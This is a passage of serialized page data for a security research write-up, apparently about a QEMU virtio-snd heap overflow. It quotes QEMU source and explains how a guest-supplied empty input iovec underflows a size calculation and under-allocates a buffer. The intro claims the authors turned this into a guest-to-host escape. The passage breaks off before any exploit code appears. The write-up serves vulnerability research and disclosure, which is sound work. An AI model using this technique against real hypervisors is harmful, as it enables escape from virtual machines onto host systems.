techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":124041,"width":97650,"height":14430},"/posts/virtio-snd-qemu-0day/title.png",[124043,124044],"qemu","heap-overflow",{"type":18,"children":124046,"toc":132313},[124047,124052,124057,124062,124068,124073,124078,124086,124092,124104,124108,124113,124121,124126,124132,124137,124150,124760,124795,124840,124874,124909,125044,125092,125098,125103,125859,125904,125940,125975,126040,126060,126510,126557,126560,126565,126630,126656,126678,126682,126687,126692,126698,126703,126708,126713,126719,126732,126738,126743,126751,126821,126826,126832,126845,127071,127134,127153,127536,127541,127574,127579,127855,127867,127885,128164,128176,128179,128214,128219,128225,128237,128249,128254,128259,128269,128304,128921,128953,128964,129000,129013,129019,129031,129039,129065,129070,129103,129144,129150,129169,129207,129215,129264,129269,129318,129323,129331,129418,129424,129463,129475,129483,129501,129520,129528,129540,129548,129567,129575,129586,129594,129605,129613,129626,129634,129640,129645,129658,129666,129684,129692,129704,129709,129717,129753,129786,129793,129827,129835,129840,129846,129858,129869,130148,130208,130276,130284,130318,130922,130933,130941,130947,130952,130963,131717,131750,131762,131848,131868,132077,132124,132136,132142,132161,132187,132215,132231,132258,132261,132281,132295,132299,132304,132309],{"type":21,"tag":30,"props":124048,"children":124049},{},[124050],{"type":27,"value":124051},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":21,"tag":22,"props":124053,"children":124054},{"id":124043},[124055],{"type":27,"value":124056},"QEMU",{"type":21,"tag":30,"props":124058,"children":124059},{},[124060],{"type":27,"value":124061},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":21,"tag":59,"props":124063,"children":124065},{"id":124064},"virtio-devices",[124066],{"type":27,"value":124067},"Virtio Devices",{"type":21,"tag":30,"props":124069,"children":124070},{},[124071],{"type":27,"value":124072},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":21,"tag":30,"props":124074,"children":124075},{},[124076],{"type":27,"value":124077},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":21,"tag":30,"props":124079,"children":124080},{},[124081],{"type":21,"tag":1376,"props":124082,"children":124085},{"alt":124083,"src":124084},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":21,"tag":22,"props":124087,"children":124089},{"id":124088},"finding-a-bug",[124090],{"type":27,"value":124091},"Finding a Bug",{"type":21,"tag":30,"props":124093,"children":124094},{},[124095,124097,124103],{"type":27,"value":124096},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":21,"tag":194,"props":124098,"children":124100},{"className":124099},[],[124101],{"type":27,"value":124102},"virtio-snd",{"type":27,"value":658},{"type":21,"tag":59,"props":124105,"children":124106},{"id":124102},[124107],{"type":27,"value":124102},{"type":21,"tag":30,"props":124109,"children":124110},{},[124111],{"type":27,"value":124112},"From the official documentation:",{"type":21,"tag":3741,"props":124114,"children":124115},{},[124116],{"type":21,"tag":30,"props":124117,"children":124118},{},[124119],{"type":27,"value":124120},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":21,"tag":30,"props":124122,"children":124123},{},[124124],{"type":27,"value":124125},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":21,"tag":162,"props":124127,"children":124129},{"id":124128},"audio-data-buffers",[124130],{"type":27,"value":124131},"Audio Data Buffers",{"type":21,"tag":30,"props":124133,"children":124134},{},[124135],{"type":27,"value":124136},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":21,"tag":30,"props":124138,"children":124139},{},[124140,124142,124148],{"type":27,"value":124141},"For example, the following is ",{"type":21,"tag":194,"props":124143,"children":124145},{"className":124144},[],[124146],{"type":27,"value":124147},"virtio_snd_handle_rx_xfer",{"type":27,"value":124149},", which is responsible for allocating buffers for an input audio stream:",{"type":21,"tag":187,"props":124151,"children":124153},{"code":124152,"language":3954,"meta":7,"className":17318,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[124154],{"type":21,"tag":194,"props":124155,"children":124156},{"__ignoreMap":7},[124157,124164,124172,124180,124187,124195,124203,124211,124259,124266,124283,124290,124297,124309,124326,124333,124369,124389,124400,124407,124414,124422,124429,124462,124521,124539,124578,124603,124627,124655,124682,124720,124727,124739,124746,124753],{"type":21,"tag":198,"props":124158,"children":124159},{"class":200,"line":201},[124160],{"type":21,"tag":198,"props":124161,"children":124162},{"style":1233},[124163],{"type":27,"value":2480},{"type":21,"tag":198,"props":124165,"children":124166},{"class":200,"line":217},[124167],{"type":21,"tag":198,"props":124168,"children":124169},{"style":1233},[124170],{"type":27,"value":124171}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":21,"tag":198,"props":124173,"children":124174},{"class":200,"line":236},[124175],{"type":21,"tag":198,"props":124176,"children":124177},{"style":1233},[124178],{"type":27,"value":124179}," * respective streams for consumption.\n",{"type":21,"tag":198,"props":124181,"children":124182},{"class":200,"line":260},[124183],{"type":21,"tag":198,"props":124184,"children":124185},{"style":1233},[124186],{"type":27,"value":20283},{"type":21,"tag":198,"props":124188,"children":124189},{"class":200,"line":281},[124190],{"type":21,"tag":198,"props":124191,"children":124192},{"style":1233},[124193],{"type":27,"value":124194}," * @vdev: VirtIOSound device\n",{"type":21,"tag":198,"props":124196,"children":124197},{"class":200,"line":302},[124198],{"type":21,"tag":198,"props":124199,"children":124200},{"style":1233},[124201],{"type":27,"value":124202}," * @vq: rx virtqueue\n",{"type":21,"tag":198,"props":124204,"children":124205},{"class":200,"line":323},[124206],{"type":21,"tag":198,"props":124207,"children":124208},{"style":1233},[124209],{"type":27,"value":124210}," */\n",{"type":21,"tag":198,"props":124212,"children":124213},{"class":200,"line":344},[124214,124218,124222,124227,124232,124236,124241,124246,124250,124255],{"type":21,"tag":198,"props":124215,"children":124216},{"style":249},[124217],{"type":27,"value":51420},{"type":21,"tag":198,"props":124219,"children":124220},{"style":249},[124221],{"type":27,"value":51425},{"type":21,"tag":198,"props":124223,"children":124224},{"style":698},[124225],{"type":27,"value":124226}," virtio_snd_handle_rx_xfer",{"type":21,"tag":198,"props":124228,"children":124229},{"style":211},[124230],{"type":27,"value":124231},"(VirtIODevice ",{"type":21,"tag":198,"props":124233,"children":124234},{"style":683},[124235],{"type":27,"value":5383},{"type":21,"tag":198,"props":124237,"children":124238},{"style":226},[124239],{"type":27,"value":124240},"vdev",{"type":21,"tag":198,"props":124242,"children":124243},{"style":211},[124244],{"type":27,"value":124245},", VirtQueue ",{"type":21,"tag":198,"props":124247,"children":124248},{"style":683},[124249],{"type":27,"value":5383},{"type":21,"tag":198,"props":124251,"children":124252},{"style":226},[124253],{"type":27,"value":124254},"vq",{"type":21,"tag":198,"props":124256,"children":124257},{"style":211},[124258],{"type":27,"value":789},{"type":21,"tag":198,"props":124260,"children":124261},{"class":200,"line":365},[124262],{"type":21,"tag":198,"props":124263,"children":124264},{"style":211},[124265],{"type":27,"value":11689},{"type":21,"tag":198,"props":124267,"children":124268},{"class":200,"line":386},[124269,124274,124278],{"type":21,"tag":198,"props":124270,"children":124271},{"style":211},[124272],{"type":27,"value":124273}," VirtQueueElement ",{"type":21,"tag":198,"props":124275,"children":124276},{"style":683},[124277],{"type":27,"value":5383},{"type":21,"tag":198,"props":124279,"children":124280},{"style":211},[124281],{"type":27,"value":124282},"elem;\n",{"type":21,"tag":198,"props":124284,"children":124285},{"class":200,"line":408},[124286],{"type":21,"tag":198,"props":124287,"children":124288},{"style":211},[124289],{"type":27,"value":105183},{"type":21,"tag":198,"props":124291,"children":124292},{"class":200,"line":429},[124293],{"type":21,"tag":198,"props":124294,"children":124295},{"emptyLinePlaceholder":16},[124296],{"type":27,"value":1283},{"type":21,"tag":198,"props":124298,"children":124299},{"class":200,"line":450},[124300,124304],{"type":21,"tag":198,"props":124301,"children":124302},{"style":640},[124303],{"type":27,"value":3840},{"type":21,"tag":198,"props":124305,"children":124306},{"style":211},[124307],{"type":27,"value":124308}," (;;) {\n",{"type":21,"tag":198,"props":124310,"children":124311},{"class":200,"line":468},[124312,124317,124321],{"type":21,"tag":198,"props":124313,"children":124314},{"style":211},[124315],{"type":27,"value":124316}," VirtIOSoundPCMStream ",{"type":21,"tag":198,"props":124318,"children":124319},{"style":683},[124320],{"type":27,"value":5383},{"type":21,"tag":198,"props":124322,"children":124323},{"style":211},[124324],{"type":27,"value":124325},"stream;\n",{"type":21,"tag":198,"props":124327,"children":124328},{"class":200,"line":477},[124329],{"type":21,"tag":198,"props":124330,"children":124331},{"emptyLinePlaceholder":16},[124332],{"type":27,"value":1283},{"type":21,"tag":198,"props":124334,"children":124335},{"class":200,"line":494},[124336,124341,124345,124350,124355,124359,124364],{"type":21,"tag":198,"props":124337,"children":124338},{"style":211},[124339],{"type":27,"value":124340}," elem ",{"type":21,"tag":198,"props":124342,"children":124343},{"style":683},[124344],{"type":27,"value":3174},{"type":21,"tag":198,"props":124346,"children":124347},{"style":698},[124348],{"type":27,"value":124349}," virtqueue_pop",{"type":21,"tag":198,"props":124351,"children":124352},{"style":211},[124353],{"type":27,"value":124354},"(vq, ",{"type":21,"tag":198,"props":124356,"children":124357},{"style":249},[124358],{"type":27,"value":55704},{"type":21,"tag":198,"props":124360,"children":124361},{"style":211},[124362],{"type":27,"value":124363},"(VirtQueueElement));",{"type":21,"tag":198,"props":124365,"children":124366},{"style":1233},[124367],{"type":27,"value":124368}," // [1]\n",{"type":21,"tag":198,"props":124370,"children":124371},{"class":200,"line":515},[124372,124376,124380,124384],{"type":21,"tag":198,"props":124373,"children":124374},{"style":640},[124375],{"type":27,"value":4079},{"type":21,"tag":198,"props":124377,"children":124378},{"style":211},[124379],{"type":27,"value":648},{"type":21,"tag":198,"props":124381,"children":124382},{"style":683},[124383],{"type":27,"value":686},{"type":21,"tag":198,"props":124385,"children":124386},{"style":211},[124387],{"type":27,"value":124388},"elem) {\n",{"type":21,"tag":198,"props":124390,"children":124391},{"class":200,"line":4484},[124392,124396],{"type":21,"tag":198,"props":124393,"children":124394},{"style":640},[124395],{"type":27,"value":4105},{"type":21,"tag":198,"props":124397,"children":124398},{"style":211},[124399],{"type":27,"value":1483},{"type":21,"tag":198,"props":124401,"children":124402},{"class":200,"line":4493},[124403],{"type":21,"tag":198,"props":124404,"children":124405},{"style":211},[124406],{"type":27,"value":1160},{"type":21,"tag":198,"props":124408,"children":124409},{"class":200,"line":4561},[124410],{"type":21,"tag":198,"props":124411,"children":124412},{"emptyLinePlaceholder":16},[124413],{"type":27,"value":1283},{"type":21,"tag":198,"props":124415,"children":124416},{"class":200,"line":4569},[124417],{"type":21,"tag":198,"props":124418,"children":124419},{"style":211},[124420],{"type":27,"value":124421}," [...]\n",{"type":21,"tag":198,"props":124423,"children":124424},{"class":200,"line":4599},[124425],{"type":21,"tag":198,"props":124426,"children":124427},{"emptyLinePlaceholder":16},[124428],{"type":27,"value":1283},{"type":21,"tag":198,"props":124430,"children":124431},{"class":200,"line":4607},[124432,124437,124441,124445,124449,124453,124458],{"type":21,"tag":198,"props":124433,"children":124434},{"style":698},[124435],{"type":27,"value":124436}," WITH_QEMU_LOCK_GUARD",{"type":21,"tag":198,"props":124438,"children":124439},{"style":211},[124440],{"type":27,"value":706},{"type":21,"tag":198,"props":124442,"children":124443},{"style":683},[124444],{"type":27,"value":3917},{"type":21,"tag":198,"props":124446,"children":124447},{"style":226},[124448],{"type":27,"value":37033},{"type":21,"tag":198,"props":124450,"children":124451},{"style":211},[124452],{"type":27,"value":14564},{"type":21,"tag":198,"props":124454,"children":124455},{"style":226},[124456],{"type":27,"value":124457},"queue_mutex",{"type":21,"tag":198,"props":124459,"children":124460},{"style":211},[124461],{"type":27,"value":668},{"type":21,"tag":198,"props":124463,"children":124464},{"class":200,"line":4638},[124465,124470,124474,124479,124483,124487,124491,124496,124500,124504,124508,124513,124517],{"type":21,"tag":198,"props":124466,"children":124467},{"style":211},[124468],{"type":27,"value":124469}," size ",{"type":21,"tag":198,"props":124471,"children":124472},{"style":683},[124473],{"type":27,"value":3174},{"type":21,"tag":198,"props":124475,"children":124476},{"style":698},[124477],{"type":27,"value":124478}," iov_size",{"type":21,"tag":198,"props":124480,"children":124481},{"style":211},[124482],{"type":27,"value":706},{"type":21,"tag":198,"props":124484,"children":124485},{"style":226},[124486],{"type":27,"value":52440},{"type":21,"tag":198,"props":124488,"children":124489},{"style":211},[124490],{"type":27,"value":14564},{"type":21,"tag":198,"props":124492,"children":124493},{"style":226},[124494],{"type":27,"value":124495},"in_sg",{"type":21,"tag":198,"props":124497,"children":124498},{"style":211},[124499],{"type":27,"value":828},{"type":21,"tag":198,"props":124501,"children":124502},{"style":226},[124503],{"type":27,"value":52440},{"type":21,"tag":198,"props":124505,"children":124506},{"style":211},[124507],{"type":27,"value":14564},{"type":21,"tag":198,"props":124509,"children":124510},{"style":226},[124511],{"type":27,"value":124512},"in_num",{"type":21,"tag":198,"props":124514,"children":124515},{"style":211},[124516],{"type":27,"value":1541},{"type":21,"tag":198,"props":124518,"children":124519},{"style":683},[124520],{"type":27,"value":51237},{"type":21,"tag":198,"props":124522,"children":124523},{"class":200,"line":4646},[124524,124529,124534],{"type":21,"tag":198,"props":124525,"children":124526},{"style":249},[124527],{"type":27,"value":124528}," sizeof",{"type":21,"tag":198,"props":124530,"children":124531},{"style":211},[124532],{"type":27,"value":124533},"(virtio_snd_pcm_status);",{"type":21,"tag":198,"props":124535,"children":124536},{"style":1233},[124537],{"type":27,"value":124538}," // [2]\n",{"type":21,"tag":198,"props":124540,"children":124541},{"class":200,"line":4706},[124542,124547,124551,124556,124560,124564,124569,124573],{"type":21,"tag":198,"props":124543,"children":124544},{"style":211},[124545],{"type":27,"value":124546}," buffer ",{"type":21,"tag":198,"props":124548,"children":124549},{"style":683},[124550],{"type":27,"value":3174},{"type":21,"tag":198,"props":124552,"children":124553},{"style":698},[124554],{"type":27,"value":124555}," g_malloc0",{"type":21,"tag":198,"props":124557,"children":124558},{"style":211},[124559],{"type":27,"value":706},{"type":21,"tag":198,"props":124561,"children":124562},{"style":249},[124563],{"type":27,"value":55704},{"type":21,"tag":198,"props":124565,"children":124566},{"style":211},[124567],{"type":27,"value":124568},"(VirtIOSoundPCMBuffer) ",{"type":21,"tag":198,"props":124570,"children":124571},{"style":683},[124572],{"type":27,"value":5193},{"type":21,"tag":198,"props":124574,"children":124575},{"style":211},[124576],{"type":27,"value":124577}," size);\n",{"type":21,"tag":198,"props":124579,"children":124580},{"class":200,"line":9857},[124581,124586,124590,124594,124598],{"type":21,"tag":198,"props":124582,"children":124583},{"style":226},[124584],{"type":27,"value":124585}," buffer",{"type":21,"tag":198,"props":124587,"children":124588},{"style":211},[124589],{"type":27,"value":14564},{"type":21,"tag":198,"props":124591,"children":124592},{"style":226},[124593],{"type":27,"value":52440},{"type":21,"tag":198,"props":124595,"children":124596},{"style":683},[124597],{"type":27,"value":979},{"type":21,"tag":198,"props":124599,"children":124600},{"style":211},[124601],{"type":27,"value":124602}," elem;\n",{"type":21,"tag":198,"props":124604,"children":124605},{"class":200,"line":9875},[124606,124610,124614,124618,124622],{"type":21,"tag":198,"props":124607,"children":124608},{"style":226},[124609],{"type":27,"value":124585},{"type":21,"tag":198,"props":124611,"children":124612},{"style":211},[124613],{"type":27,"value":14564},{"type":21,"tag":198,"props":124615,"children":124616},{"style":226},[124617],{"type":27,"value":124254},{"type":21,"tag":198,"props":124619,"children":124620},{"style":683},[124621],{"type":27,"value":979},{"type":21,"tag":198,"props":124623,"children":124624},{"style":211},[124625],{"type":27,"value":124626}," vq;\n",{"type":21,"tag":198,"props":124628,"children":124629},{"class":200,"line":9920},[124630,124634,124638,124643,124647,124651],{"type":21,"tag":198,"props":124631,"children":124632},{"style":226},[124633],{"type":27,"value":124585},{"type":21,"tag":198,"props":124635,"children":124636},{"style":211},[124637],{"type":27,"value":14564},{"type":21,"tag":198,"props":124639,"children":124640},{"style":226},[124641],{"type":27,"value":124642},"size",{"type":21,"tag":198,"props":124644,"children":124645},{"style":683},[124646],{"type":27,"value":979},{"type":21,"tag":198,"props":124648,"children":124649},{"style":2540},[124650],{"type":27,"value":3855},{"type":21,"tag":198,"props":124652,"children":124653},{"style":211},[124654],{"type":27,"value":1483},{"type":21,"tag":198,"props":124656,"children":124657},{"class":200,"line":10026},[124658,124662,124666,124670,124674,124678],{"type":21,"tag":198,"props":124659,"children":124660},{"style":226},[124661],{"type":27,"value":124585},{"type":21,"tag":198,"props":124663,"children":124664},{"style":211},[124665],{"type":27,"value":14564},{"type":21,"tag":198,"props":124667,"children":124668},{"style":226},[124669],{"type":27,"value":14708},{"type":21,"tag":198,"props":124671,"children":124672},{"style":683},[124673],{"type":27,"value":979},{"type":21,"tag":198,"props":124675,"children":124676},{"style":2540},[124677],{"type":27,"value":3855},{"type":21,"tag":198,"props":124679,"children":124680},{"style":211},[124681],{"type":27,"value":1483},{"type":21,"tag":198,"props":124683,"children":124684},{"class":200,"line":24302},[124685,124690,124694,124698,124702,124706,124711,124716],{"type":21,"tag":198,"props":124686,"children":124687},{"style":698},[124688],{"type":27,"value":124689}," QSIMPLEQ_INSERT_TAIL",{"type":21,"tag":198,"props":124691,"children":124692},{"style":211},[124693],{"type":27,"value":706},{"type":21,"tag":198,"props":124695,"children":124696},{"style":683},[124697],{"type":27,"value":3917},{"type":21,"tag":198,"props":124699,"children":124700},{"style":226},[124701],{"type":27,"value":37033},{"type":21,"tag":198,"props":124703,"children":124704},{"style":211},[124705],{"type":27,"value":14564},{"type":21,"tag":198,"props":124707,"children":124708},{"style":226},[124709],{"type":27,"value":124710},"queue",{"type":21,"tag":198,"props":124712,"children":124713},{"style":211},[124714],{"type":27,"value":124715},", buffer, entry);",{"type":21,"tag":198,"props":124717,"children":124718},{"style":1233},[124719],{"type":27,"value":53005},{"type":21,"tag":198,"props":124721,"children":124722},{"class":200,"line":24337},[124723],{"type":21,"tag":198,"props":124724,"children":124725},{"style":211},[124726],{"type":27,"value":1160},{"type":21,"tag":198,"props":124728,"children":124729},{"class":200,"line":24345},[124730,124735],{"type":21,"tag":198,"props":124731,"children":124732},{"style":640},[124733],{"type":27,"value":124734}," continue",{"type":21,"tag":198,"props":124736,"children":124737},{"style":211},[124738],{"type":27,"value":1483},{"type":21,"tag":198,"props":124740,"children":124741},{"class":200,"line":24353},[124742],{"type":21,"tag":198,"props":124743,"children":124744},{"emptyLinePlaceholder":16},[124745],{"type":27,"value":1283},{"type":21,"tag":198,"props":124747,"children":124748},{"class":200,"line":24362},[124749],{"type":21,"tag":198,"props":124750,"children":124751},{"style":211},[124752],{"type":27,"value":124421},{"type":21,"tag":198,"props":124754,"children":124755},{"class":200,"line":24404},[124756],{"type":21,"tag":198,"props":124757,"children":124758},{"style":211},[124759],{"type":27,"value":1120},{"type":21,"tag":30,"props":124761,"children":124762},{},[124763,124765,124771,124773,124779,124781,124786,124787,124793],{"type":27,"value":124764},"At ",{"type":21,"tag":194,"props":124766,"children":124768},{"className":124767},[],[124769],{"type":27,"value":124770},"[1]",{"type":27,"value":124772},", a ",{"type":21,"tag":194,"props":124774,"children":124776},{"className":124775},[],[124777],{"type":27,"value":124778},"VirtQueueElement *elem",{"type":27,"value":124780}," is popped from the virtqueue. It contains the ",{"type":21,"tag":194,"props":124782,"children":124784},{"className":124783},[],[124785],{"type":27,"value":124495},{"type":27,"value":11801},{"type":21,"tag":194,"props":124788,"children":124790},{"className":124789},[],[124791],{"type":27,"value":124792},"out_sg",{"type":27,"value":124794}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":21,"tag":30,"props":124796,"children":124797},{},[124798,124800,124806,124808,124814,124816,124822,124824,124830,124832,124838],{"type":27,"value":124799},"Further at ",{"type":21,"tag":194,"props":124801,"children":124803},{"className":124802},[],[124804],{"type":27,"value":124805},"[2]",{"type":27,"value":124807},", the device computes the size of the data buffer as ",{"type":21,"tag":194,"props":124809,"children":124811},{"className":124810},[],[124812],{"type":27,"value":124813},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":27,"value":124815},". That value is then used in the allocation: ",{"type":21,"tag":194,"props":124817,"children":124819},{"className":124818},[],[124820],{"type":27,"value":124821},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":27,"value":124823},". Finally, at ",{"type":21,"tag":194,"props":124825,"children":124827},{"className":124826},[],[124828],{"type":27,"value":124829},"[3]",{"type":27,"value":124831},", the newly allocated buffer is appended to the ",{"type":21,"tag":194,"props":124833,"children":124835},{"className":124834},[],[124836],{"type":27,"value":124837},"stream->queue",{"type":27,"value":124839}," linked list.",{"type":21,"tag":30,"props":124841,"children":124842},{},[124843,124845,124850,124852,124857,124859,124864,124866,124872],{"type":27,"value":124844},"Because both the ",{"type":21,"tag":194,"props":124846,"children":124848},{"className":124847},[],[124849],{"type":27,"value":124495},{"type":27,"value":124851}," iovec and the ",{"type":21,"tag":194,"props":124853,"children":124855},{"className":124854},[],[124856],{"type":27,"value":124512},{"type":27,"value":124858}," field are guest-controlled, and there is no check that the total ",{"type":21,"tag":194,"props":124860,"children":124862},{"className":124861},[],[124863],{"type":27,"value":124495},{"type":27,"value":124865}," size is at least ",{"type":21,"tag":194,"props":124867,"children":124869},{"className":124868},[],[124870],{"type":27,"value":124871},"sizeof(virtio_snd_pcm_status)",{"type":27,"value":124873},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":21,"tag":30,"props":124875,"children":124876},{},[124877,124879,124884,124886,124892,124894,124900,124902,124908],{"type":27,"value":124878},"From the guest driver, we can provide an empty ",{"type":21,"tag":194,"props":124880,"children":124882},{"className":124881},[],[124883],{"type":27,"value":124495},{"type":27,"value":124885}," iovec. In that case, the calculation becomes ",{"type":21,"tag":194,"props":124887,"children":124889},{"className":124888},[],[124890],{"type":27,"value":124891},"0 - sizeof(virtio_snd_pcm_status)",{"type":27,"value":124893},", so the allocation size effectively becomes ",{"type":21,"tag":194,"props":124895,"children":124897},{"className":124896},[],[124898],{"type":27,"value":124899},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":27,"value":124901},". Given the definition of ",{"type":21,"tag":194,"props":124903,"children":124905},{"className":124904},[],[124906],{"type":27,"value":124907},"VirtIOSoundPCMBuffer",{"type":27,"value":185},{"type":21,"tag":187,"props":124910,"children":124912},{"code":124911,"language":3954,"meta":7,"className":17318,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[124913],{"type":21,"tag":194,"props":124914,"children":124915},{"__ignoreMap":7},[124916,124928,124941,124956,124973,124985,124997,125005,125017,125037],{"type":21,"tag":198,"props":124917,"children":124918},{"class":200,"line":201},[124919,124923],{"type":21,"tag":198,"props":124920,"children":124921},{"style":249},[124922],{"type":27,"value":10213},{"type":21,"tag":198,"props":124924,"children":124925},{"style":211},[124926],{"type":27,"value":124927}," VirtIOSoundPCMBuffer {\n",{"type":21,"tag":198,"props":124929,"children":124930},{"class":200,"line":217},[124931,124936],{"type":21,"tag":198,"props":124932,"children":124933},{"style":698},[124934],{"type":27,"value":124935}," QSIMPLEQ_ENTRY",{"type":21,"tag":198,"props":124937,"children":124938},{"style":211},[124939],{"type":27,"value":124940},"(VirtIOSoundPCMBuffer) entry;\n",{"type":21,"tag":198,"props":124942,"children":124943},{"class":200,"line":236},[124944,124948,124952],{"type":21,"tag":198,"props":124945,"children":124946},{"style":211},[124947],{"type":27,"value":124273},{"type":21,"tag":198,"props":124949,"children":124950},{"style":683},[124951],{"type":27,"value":5383},{"type":21,"tag":198,"props":124953,"children":124954},{"style":211},[124955],{"type":27,"value":124282},{"type":21,"tag":198,"props":124957,"children":124958},{"class":200,"line":260},[124959,124964,124968],{"type":21,"tag":198,"props":124960,"children":124961},{"style":211},[124962],{"type":27,"value":124963}," VirtQueue ",{"type":21,"tag":198,"props":124965,"children":124966},{"style":683},[124967],{"type":27,"value":5383},{"type":21,"tag":198,"props":124969,"children":124970},{"style":211},[124971],{"type":27,"value":124972},"vq;\n",{"type":21,"tag":198,"props":124974,"children":124975},{"class":200,"line":281},[124976,124980],{"type":21,"tag":198,"props":124977,"children":124978},{"style":249},[124979],{"type":27,"value":17368},{"type":21,"tag":198,"props":124981,"children":124982},{"style":211},[124983],{"type":27,"value":124984}," size;\n",{"type":21,"tag":198,"props":124986,"children":124987},{"class":200,"line":302},[124988,124992],{"type":21,"tag":198,"props":124989,"children":124990},{"style":249},[124991],{"type":27,"value":55989},{"type":21,"tag":198,"props":124993,"children":124994},{"style":211},[124995],{"type":27,"value":124996}," offset;\n",{"type":21,"tag":198,"props":124998,"children":124999},{"class":200,"line":323},[125000],{"type":21,"tag":198,"props":125001,"children":125002},{"style":1233},[125003],{"type":27,"value":125004}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":21,"tag":198,"props":125006,"children":125007},{"class":200,"line":344},[125008,125012],{"type":21,"tag":198,"props":125009,"children":125010},{"style":249},[125011],{"type":27,"value":47231},{"type":21,"tag":198,"props":125013,"children":125014},{"style":211},[125015],{"type":27,"value":125016}," populated;\n",{"type":21,"tag":198,"props":125018,"children":125019},{"class":200,"line":365},[125020,125024,125028,125033],{"type":21,"tag":198,"props":125021,"children":125022},{"style":249},[125023],{"type":27,"value":58834},{"type":21,"tag":198,"props":125025,"children":125026},{"style":211},[125027],{"type":27,"value":15909},{"type":21,"tag":198,"props":125029,"children":125030},{"style":249},[125031],{"type":27,"value":125032},"[]",{"type":21,"tag":198,"props":125034,"children":125035},{"style":211},[125036],{"type":27,"value":1483},{"type":21,"tag":198,"props":125038,"children":125039},{"class":200,"line":386},[125040],{"type":21,"tag":198,"props":125041,"children":125042},{"style":211},[125043],{"type":27,"value":2357},{"type":21,"tag":30,"props":125045,"children":125046},{},[125047,125049,125055,125057,125062,125064,125069,125071,125076,125078,125083,125085,125091],{"type":27,"value":125048},"That under-allocation removes the ",{"type":21,"tag":194,"props":125050,"children":125052},{"className":125051},[],[125053],{"type":27,"value":125054},"populated",{"type":27,"value":125056}," field along with the variable-sized ",{"type":21,"tag":194,"props":125058,"children":125060},{"className":125059},[],[125061],{"type":27,"value":4508},{"type":27,"value":125063}," array. As the comment says, ",{"type":21,"tag":194,"props":125065,"children":125067},{"className":125066},[],[125068],{"type":27,"value":125054},{"type":27,"value":125070}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":21,"tag":194,"props":125072,"children":125074},{"className":125073},[],[125075],{"type":27,"value":134},{"type":27,"value":125077},", the device believes data should be ",{"type":21,"tag":194,"props":125079,"children":125081},{"className":125080},[],[125082],{"type":27,"value":134},{"type":27,"value":125084}," byte, while the actual allocation is ",{"type":21,"tag":194,"props":125086,"children":125088},{"className":125087},[],[125089],{"type":27,"value":125090},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":27,"value":658},{"type":21,"tag":162,"props":125093,"children":125095},{"id":125094},"populating-data-buffers",[125096],{"type":27,"value":125097},"Populating Data Buffers",{"type":21,"tag":30,"props":125099,"children":125100},{},[125101],{"type":27,"value":125102},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":21,"tag":187,"props":125104,"children":125106},{"code":125105,"language":3954,"meta":7,"className":17318,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 